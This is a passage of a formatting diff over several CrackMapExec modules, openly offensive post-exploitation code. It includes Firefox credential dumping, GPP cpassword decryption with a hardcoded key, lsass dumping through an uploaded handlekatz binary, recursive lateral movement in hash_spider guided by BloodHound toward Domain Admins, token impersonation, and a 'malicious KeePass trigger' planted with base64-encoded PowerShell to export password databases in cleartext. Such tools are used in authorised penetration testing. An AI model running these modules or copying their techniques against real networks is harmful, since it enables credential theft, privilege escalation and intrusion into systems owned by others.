connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")
)
log_name = "DNS-Enum-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.display(f"Saved raw output to {log_name}")

View File

@ -12,9 +12,7 @@ class CMEModule:
description = "I do something"
supported_protocols = []
opsec_safe = True # Does the module touch disk?
multiple_hosts = (
True # Does it make sense to run this module on multiple hosts at a time?
)
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context

View File

@ -14,9 +14,7 @@ class CMEModule:
description = "Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = (
True # Does it make sense to run this module on multiple hosts at a time?
)
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""Dump credentials from Firefox"""

View File

@ -17,9 +17,7 @@ class CMEModule:
description = "Get description of the users. May contained password"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = (
True # Does it make sense to run this module on multiple hosts at a time?
)
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
@ -36,11 +34,7 @@ class CMEModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile(
"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"
+ self.MINLENGTH
+ ",}"
) # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@ -56,9 +50,7 @@ class CMEModule:
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug(
"sizeLimitExceeded exception caught, giving up and processing the data received"
)
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
@ -84,17 +76,13 @@ class CMEModule:
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(
"Skipping item, cannot process due to error %s" % str(e)
)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(
"User: {} description: {}".format(answer[0], answer[1])
)
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
def filter_answer(self, context, answers):
# No option to filter
@ -119,16 +107,9 @@ class CMEModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if (
self.FILTER
and conditionFilter
and self.PASSWORDPOLICY
and conditionPasswordPolicy
):
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif (
not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy
):
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
answersFiltered.append([answer[0], description])

View File

@ -27,19 +27,13 @@ class CMEModule:
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi(
f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration"
)
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
for c in cards:
if c["IPAddress"].get("value"):
context.log.success(
f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}"
)
context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}")
data.append(cards)
log_name = "network-connections-{}-{}.log".format(
connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")
)
log_name = "network-connections-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(json.dumps(data), log_name)
context.log.display("Saved raw output to {}".format(log_name))

View File

@ -28,9 +28,7 @@ class CMEModule:
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display(
"Searching for potential XML files containing passwords"
)
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
@ -90,9 +88,7 @@ class CMEModule:
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(
"Found credentials in {}".format(path)
)
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Password: {}".format(password))
for k, v in props.items():
if k != "cpassword":
@ -111,9 +107,7 @@ class CMEModule:
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = unhexlify(
"4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"
)
key = unhexlify("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
IV = "\x00" * 16

View File

@ -32,9 +32,7 @@ class CMEModule:
exit(1)
self.user = module_options["USER"]
else:
context.log.fail(
"Missing USER option, use --options to list available parameters"
)
context.log.fail("Missing USER option, use --options to list available parameters")
exit(1)
def on_login(self, context, connection):
@ -51,9 +49,7 @@ class CMEModule:
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug(
"sizeLimitExceeded exception caught, giving up and processing the data received"
)
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
@ -85,14 +81,10 @@ class CMEModule:
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(
"Skipping item, cannot process due to error %s" % str(e)
)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
if len(memberOf) > 0:
context.log.success(
"User: {} is member of following groups: ".format(self.user)
)
context.log.success("User: {} is member of following groups: ".format(self.user))
for group in memberOf:
# Split the string on the "," character to get a list of the group name and parent group names
group_parts = group.split(",")

View File

@ -56,17 +56,11 @@ class CMEModule:
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
context.log.display(
f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}"
)
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
try:
connection.conn.putFile(
self.share, self.tmp_share + self.handlekatz, handlekatz.read
)
context.log.success(
f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}"
)
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
except Exception as e:
context.log.fail(f"Error writing file to share {self.share}: {e}")
@ -85,15 +79,7 @@ class CMEModule:
pid = p.split(",")[1][1:-1]
context.log.debug(f"pid: {pid}")
command = (
self.tmp_dir
+ self.handlekatz
+ " --pid:"
+ pid
+ " --outfile:"
+ self.tmp_dir
+ "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log"
)
command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log"
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
@ -118,32 +104,22 @@ class CMEModule:
with open(self.dir_result + machine_name, "wb+") as dump_file:
try:
connection.conn.getFile(
self.share, self.tmp_share + machine_name, dump_file.write
)
context.log.success(
f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}"
)
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(
f"Deleted handlekatz file on the {self.share} share"
)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(
f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}"
)
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail(
f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}"
)
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb")
h_out = open(self.dir_result + machine_name + ".decode", "wb")
@ -151,13 +127,9 @@ class CMEModule:
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(
f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)"
)
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [
bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)
]
chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(0, len(chunk)):
chunk[i] ^= 0x41
@ -184,28 +156,17 @@ class CMEModule:
]
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
for cred in getattr(
pypy_parse.logon_sessions[luid], ssp, []
):
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
if (
username
and (password or NThash)
and "$" not in username
):
if username and (password or NThash) and "$" not in username:
print_pass = password if password else NThash
context.log.highlight(
domain + "\\" + username + ":" + print_pass
)
if (
"." not in domain
and domain.upper() in connection.domain.upper()
):
context.log.highlight(domain + "\\" + username + ":" + print_pass)
if "." not in domain and domain.upper() in connection.domain.upper():
domain = connection.domain
credz_bh.append(
{

View File

@ -40,9 +40,7 @@ def neo4j_local_admins(context, driver):
global admin_results
try:
session = driver.session()
admins = session.run(
"MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC"
) # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
context.log.success("Admins and PCs obtained.")
except Exception:
context.log.fail("Could not pull admins")
@ -51,9 +49,7 @@ def neo4j_local_admins(context, driver):
def create_db(local_admins, dbconnection, cursor):
cursor.execute(
"""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)"""
)
cursor.execute("""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""")
for result in local_admins:
cursor.execute(
"INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)",
@ -66,18 +62,14 @@ def create_db(local_admins, dbconnection, cursor):
),
)
dbconnection.commit()
cursor.execute(
"""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)"""
)
cursor.execute("""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""")
admin_users = []
for result in local_admins:
for user in result.get("USERS"):
if user not in admin_users:
admin_users.append(user)
for user in admin_users:
cursor.execute(
"""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user]
)
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
dbconnection.commit()
@ -92,50 +84,29 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
nthash = result["nthash"]
password = result["password"]
if result["password"] is not None:
context.log.highlight(
f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH."
)
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '"
+ username
+ "%'",
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
dbconnection.commit()
session = driver.session()
session.run(
'MATCH (u) WHERE (u.name = "'
+ username
+ '") SET u.owned=True RETURN u,u.name,u.owned'
)
if (
nthash == "aad3b435b51404eeaad3b435b51404ee"
or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0"
):
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(
f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH."
)
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '"
+ username
+ "%'",
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
session = driver.session()
session.run(
'MATCH (u) WHERE (u.name = "'
+ username
+ '") SET u.owned=True RETURN u,u.name,u.owned'
)
path_to_da = session.run(
"MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p"
)
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = [record for record in path_to_da.data()]
for path in paths:
@ -144,9 +115,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
for item in value:
if type(item) == dict:
if {item["name"]} not in reported_da:
context.log.success(
f"You have a valid path to DA as {item['name']}."
)
context.log.success(f"You have a valid path to DA as {item['name']}.")
reported_da.append({item["name"]})
exit()
@ -167,9 +136,7 @@ def initial_run(connection, cursor):
class CMEModule:
name = "hash_spider"
description = (
"Dump lsass recursively from a given hash using BH to find local admins"
)
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@ -193,9 +160,7 @@ class CMEModule:
self.reset_dumped = module_options.get("RESET_DUMPED", False)
self.reset = module_options.get("RESET", False)
def run_lsassy(
self, context, connection, cursor
): # copied and pasted from lsassy_dumper & added cursor
def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
# so what we do is define "success" as a logging level, then do nothing with the output
@ -220,12 +185,8 @@ class CMEModule:
domain=domain_name,
)
if session.smb_session is None:
context.log.fail(
"Couldn't connect to remote host. Password likely expired/changed. Removing from DB."
)
cursor.execute(
f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'"
)
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
@ -240,11 +201,7 @@ class CMEModule:
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
credentials = []
credentials = [
cred.get_object()
for cred in credentials
if not cred.get_username().endswith("$")
]
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
credentials_unique = []
credentials_output = []
for cred in credentials:
@ -271,21 +228,15 @@ class CMEModule:
def spider_pcs(self, context, connection, cursor, dbconnection, driver):
cursor.execute("SELECT * from admin_users WHERE hash is not NULL")
compromised_users = cursor.fetchall()
cursor.execute(
"SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'"
)
cursor.execute("SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'")
admin_access = cursor.fetchall()
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
cursor.execute(
f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'"
)
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(
f"User {user[0]} has more access to {pc[0]}. Attempting to dump."
)
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
connection.domain = user[0].split("@")[1]
setattr(connection, "host", pc[0].split(".")[0])
setattr(connection, "username", user[0].split("@")[0])
@ -293,11 +244,7 @@ class CMEModule:
setattr(connection, "nthash", user[1])
try:
self.run_lsassy(context, connection, cursor)
cursor.execute(
"UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '"
+ pc[0]
+ "%'"
)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
process_creds(
context,
@ -307,15 +254,11 @@ class CMEModule:
cursor,
driver,
)
self.spider_pcs(
context, connection, cursor, dbconnection, driver
)
self.spider_pcs(context, connection, cursor, dbconnection, driver)
except Exception:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
if len(admin_access) > 0:
context.log.fail(
"No more local admin access known. Please try re-running Bloodhound with newly found accounts."
)
context.log.fail("No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
exit()
def on_admin_login(self, context, connection):
@ -348,17 +291,13 @@ class CMEModule:
neo4j_uri = connection.config.get("BloodHound", "bh_uri")
neo4j_port = connection.config.get("BloodHound", "bh_port")
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
driver = GraphDatabase.driver(
neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False
)
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
neo4j_conn(context, connection, driver)
neo4j_local_admins(context, driver)
create_db(admin_results, dbconnection, cursor)
initial_run(connection, cursor)
context.log.display("Running lsassy")
self.run_lsassy(context, connection, cursor)
process_creds(
context, connection, credentials_data, dbconnection, cursor, driver
)
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
context.log.display("🕷️ Starting to spider 🕷️")
self.spider_pcs(context, connection, cursor, dbconnection, driver)

View File

@ -10,9 +10,7 @@ from os import path
class CMEModule:
name = "impersonate"
description = (
"List and impersonate tokens to run command as locally logged on users"
)
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
@ -63,9 +61,7 @@ class CMEModule:
context.log.display(f"Uploading {self.impersonate}")
with open(file_to_upload, "rb") as impersonate:
try:
connection.conn.putFile(
self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read
)
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
context.log.success(f"Impersonate binary successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
@ -89,12 +85,8 @@ class CMEModule:
if impersonated_user:
context.log.display(f"Executing {self.cmd} as {impersonated_user}")
command = (
f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
)
for line in connection.execute(
command, True, methods=["smbexec"]
).splitlines():
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
context.log.highlight(line)
else:
context.log.fail(f"Invalid token ID submitted")
@ -103,9 +95,7 @@ class CMEModule:
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(
self.share, f"{self.tmp_share}{self.impersonate}"
)
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
context.log.success(f"Impersonate binary successfully deleted")
except Exception as e:
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")

View File

@ -59,24 +59,16 @@ class CMEModule:
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except rrp.DCERPCSessionError:
context.log.highlight(
"AlwaysInstallElevated Status: 1 (Enabled: Computer Only)"
)
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)")
return
if aie_user_value == 0:
context.log.highlight(
"AlwaysInstallElevated Status: 1 (Enabled: Computer Only)"
)
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)")
else:
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled)")
finally:
try:
remote_ops.finish()
except scmr.DCERPCSessionError as e:
context.log.debug(
f"Received SessionError while attempting to clean up logins: {e}"
)
context.log.debug(f"Received SessionError while attempting to clean up logins: {e}")
except Exception as e:
context.log.debug(
f"Received general exception while attempting to clean up logins: {e}"
)
context.log.debug(f"Received general exception while attempting to clean up logins: {e}")

View File

@ -40,12 +40,8 @@ class CMEModule:
if self.search_type == "ALL" or self.search_type == "PROCESS":
# search for keepass process
search_keepass_process_command_str = 'powershell.exe "Get-Process kee* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
search_keepass_process_output_csv = connection.execute(
search_keepass_process_command_str, True
) # we return the powershell command as a CSV for easier column parsing
csv_reader = reader(
search_keepass_process_output_csv.split("\n"), delimiter=","
)
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
next(csv_reader) # to skip the csv header line
row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it
for row in csv_reader:
@ -65,15 +61,9 @@ class CMEModule:
# search for keepass-related files
if self.search_type == "ALL" or self.search_type == "FILES":
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(
self.search_path
)
search_keepass_files_cmd = 'powershell.exe "{}"'.format(
search_keepass_files_payload
)
search_keepass_files_output = connection.execute(
search_keepass_files_cmd, True
).split("\r\n")
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload)
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n")
found = False
found_xml = False
for file in search_keepass_files_output:

View File

@ -20,9 +20,7 @@ class CMEModule:
"""
name = "keepass_trigger"
description = (
"Set up a malicious KeePass trigger to export the database in cleartext."
)
description = "Set up a malicious KeePass trigger to export the database in cleartext."
supported_protocols = ["smb"]
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
@ -42,27 +40,19 @@ class CMEModule:
# additional parameters
self.share = "C$"
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
self.keepass_binary_path = (
"C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
)
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
self.local_export_path = "/tmp"
self.trigger_name = "export_database"
self.poll_frequency_seconds = 5
self.dummy_service_name = "OneDrive Sync KeePass"
with open(
get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r"
) as remove_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file:
self.remove_trigger_script_str = remove_trigger_script_file.read()
with open(
get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r"
) as add_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file:
self.add_trigger_script_str = add_trigger_script_file.read()
with open(
get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r"
) as restart_keepass_script_file:
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file:
self.restart_keepass_script_str = restart_keepass_script_file.read()
def options(self, context, module_options):
@ -107,16 +97,12 @@ class CMEModule:
"CLEAN",
"ALL",
]:
context.log.fail(
"Unrecognized action, use --options to list available parameters"
)
context.log.fail("Unrecognized action, use --options to list available parameters")
exit(1)
else:
self.action = module_options["ACTION"]
else:
context.log.fail(
"Missing ACTION option, use --options to list available parameters"
)
context.log.fail("Missing ACTION option, use --options to list available parameters")
exit(1)
if "KEEPASS_CONFIG_PATH" in module_options:
@ -133,9 +119,7 @@ class CMEModule:
if "PSH_EXEC_METHOD" in module_options:
if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]:
context.log.fail(
"Unrecognized powershell execution method, use --options to list available parameters"
)
context.log.fail("Unrecognized powershell execution method, use --options to list available parameters")
exit(1)
else:
self.powershell_exec_method = module_options["PSH_EXEC_METHOD"]
@ -160,54 +144,34 @@ class CMEModule:
# check if the specified KeePass configuration file exists
if self.trigger_added(context, connection):
context.log.display(
f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping"
)
context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping")
return
context.log.display(
f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'"
)
context.log.display(f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'")
# prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc)
# see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script
self.add_trigger_script_str = self.add_trigger_script_str.replace(
"REPLACE_ME_ExportPath", self.export_path
)
self.add_trigger_script_str = self.add_trigger_script_str.replace(
"REPLACE_ME_ExportName", self.export_name
)
self.add_trigger_script_str = self.add_trigger_script_str.replace(
"REPLACE_ME_TriggerName", self.trigger_name
)
self.add_trigger_script_str = self.add_trigger_script_str.replace(
"REPLACE_ME_KeePassXMLPath", self.keepass_config_path
)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportPath", self.export_path)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportName", self.export_name)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path)
# add the malicious trigger to the remote KeePass configuration file
if self.powershell_exec_method == "ENCODE":
add_trigger_script_b64 = b64encode(
self.add_trigger_script_str.encode("UTF-16LE")
).decode("utf-8")
add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode("UTF-16LE")).decode("utf-8")
add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}"
connection.execute(add_trigger_script_cmd)
sleep(
2
) # as I noticed some delay may happen with the encoded powershell command execution
sleep(2) # as I noticed some delay may happen with the encoded powershell command execution
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(
context, connection, self.add_trigger_script_str
)
self.put_file_execute_delete(context, connection, self.add_trigger_script_str)
except Exception as e:
context.log.fail(f"Error while adding malicious trigger to file: {e}")
sys.exit(1)
# checks if the malicious trigger was effectively added to the specified KeePass configuration file
if self.trigger_added(context, connection):
context.log.success(
f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files"
)
context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
else:
context.log.fail(f"Unknown error when adding malicious trigger to file")
sys.exit(1)
